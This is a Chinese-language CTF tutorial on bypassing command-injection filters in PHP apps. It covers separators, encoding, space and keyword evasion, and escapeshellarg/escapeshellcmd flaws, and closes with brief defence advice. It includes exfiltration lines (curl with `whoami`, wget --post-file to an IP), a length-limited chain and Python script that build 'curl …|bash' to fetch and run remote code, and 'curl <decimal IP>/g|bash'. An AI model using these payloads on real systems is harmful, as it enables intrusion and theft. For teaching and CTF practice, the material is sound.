CTF中命令执行绕过方法
字数 1311 2025-08-15 21:33:57
CTF命令执行绕过方法详解
1. 基本命令执行原理
在CTF比赛中,命令执行漏洞通常通过PHP的危险函数实现,例如:
<?php
if (isset($_POST['host'])) {
$host = $_POST['host'];
$res = shell_exec("ping -c 4 {$host}");
echo $res;
}
?>
攻击者可以在ping命令后利用Linux命令分隔符执行任意命令。
2. 常用命令分隔符
;:顺序执行,不关心前一个命令是否成功&:后台执行&&:逻辑与,前一个命令成功才执行下一个|:管道,前一个命令的输出作为后一个命令的输入||:逻辑或,前一个命令失败才执行下一个%0a、%0d:换行符(URL编码)`:反引号,等同于shell_exec()
3. PHP中可执行命令的危险函数
- system()
- shell_exec()
- eval()
- assert()
- exec()
- preg_replace()
- call_user_func()
- passthru()
- pcntl_exec()
- popen()
- proc_open()
- 反引号命令执行
4. 常见过滤绕过技术
4.1 编码绕过
- 八进制编码:
$(printf "\154\163")# 等同于ls - 十六进制编码:
echo "636174202F6574632F706173737764" | xxd -r -p|bash
4.2 空格绕过
${IFS}$IFS$IFS$9%20(URL编码)%09(制表符)
示例:
cat${IFS}flag
cat$IFS$9flag
4.3 特殊符号绕过
>:可用$PS2变量代替+:可用$PS4变量代替
4.4 关键词绕过
- 命令拆分:
a=l;b=s;$a$b - 空变量:
cat fl${x}ag cat tes$(z)t/flag - 环境变量截取:
${PATH:0:1} # 输出'/' ${PATH:1:1} # 输出'u'
4.5 空值绕过
cat fl""ag
cat fl''ag
cat "fl""ag"
4.6 反斜杠绕过
ca\t fl\ag
l\s
4.7 花括号用法
{cat,flag}
4.8 无回显命令执行
- 通过curl带出结果:
curl www.example.com/`whoami` - wget带出文件:
wget --post-file flag 47.100.120.123:2333
5. escapeshellarg()和escapeshellcmd()绕过
5.1 函数说明
escapeshellarg():添加单引号并转义已有单引号escapeshellcmd():转义可能欺骗shell执行任意命令的字符
5.2 组合使用漏洞
当两个函数组合使用时可能产生漏洞:
$command = './configure '.$_POST['configure_options'];
$escaped_command = escapeshellcmd(escapeshellarg($command));
system($escaped_command);
可以利用单引号转义特性进行注入。
6. 长度限制绕过
6.1 基本原理
- 使用反斜杠
\换行执行长命令 - 利用
ls -t按时间排序文件 - 将命令分片写入文件后执行
6.2 具体步骤
- 生成
ls -t>g命令:>ls\\ ls>t\g ls>>_ - 生成反弹shell命令:
>sh\ >ba\p\\ >vi\\ >i.\\ >y\\ >ra\\ >w.\\ >ww\rl\\ >cu\\ - 执行:
sh _ # 先执行ls -t>g sh g # 执行生成的脚本
6.3 自动化脚本示例
import requests
from time import sleep
import urllib
payload = [
# generate `ls -t>g`
'>ls\\',
'ls>t\g',
'ls>>_',
# generate `curl www.example.com|bash`
'>sh\ ',
'>ba\p\\',
'>vi\\',
'>i.\\',
'>y\\',
'>ra\\',
'>w.\\',
'>ww\rl\\',
'>cu\\',
# exec
'sh _', # 先执行ls -t>g
'sh g'
]
r = requests.get('http://url/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://url/?cmd=' + urllib.parse.quote(i))
print(i)
sleep(1)
7. 其他实用技巧
- IP地址数字化:
curl 795113595/g|bash - 文件读取命令:
ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sort|cut|xxd - 可变变量:
${cmd}或`
\[a`(`$a`可控为`{cmd}`) ## 8. 防御建议 - 避免使用危险函数 - 使用白名单过滤输入 - 对用户输入进行严格验证 - 最小权限原则运行服务 - 使用安全的替代函数 通过掌握这些绕过技术,CTF选手可以更有效地解决命令执行类题目,同时也提醒开发人员加强安全防护措施。\]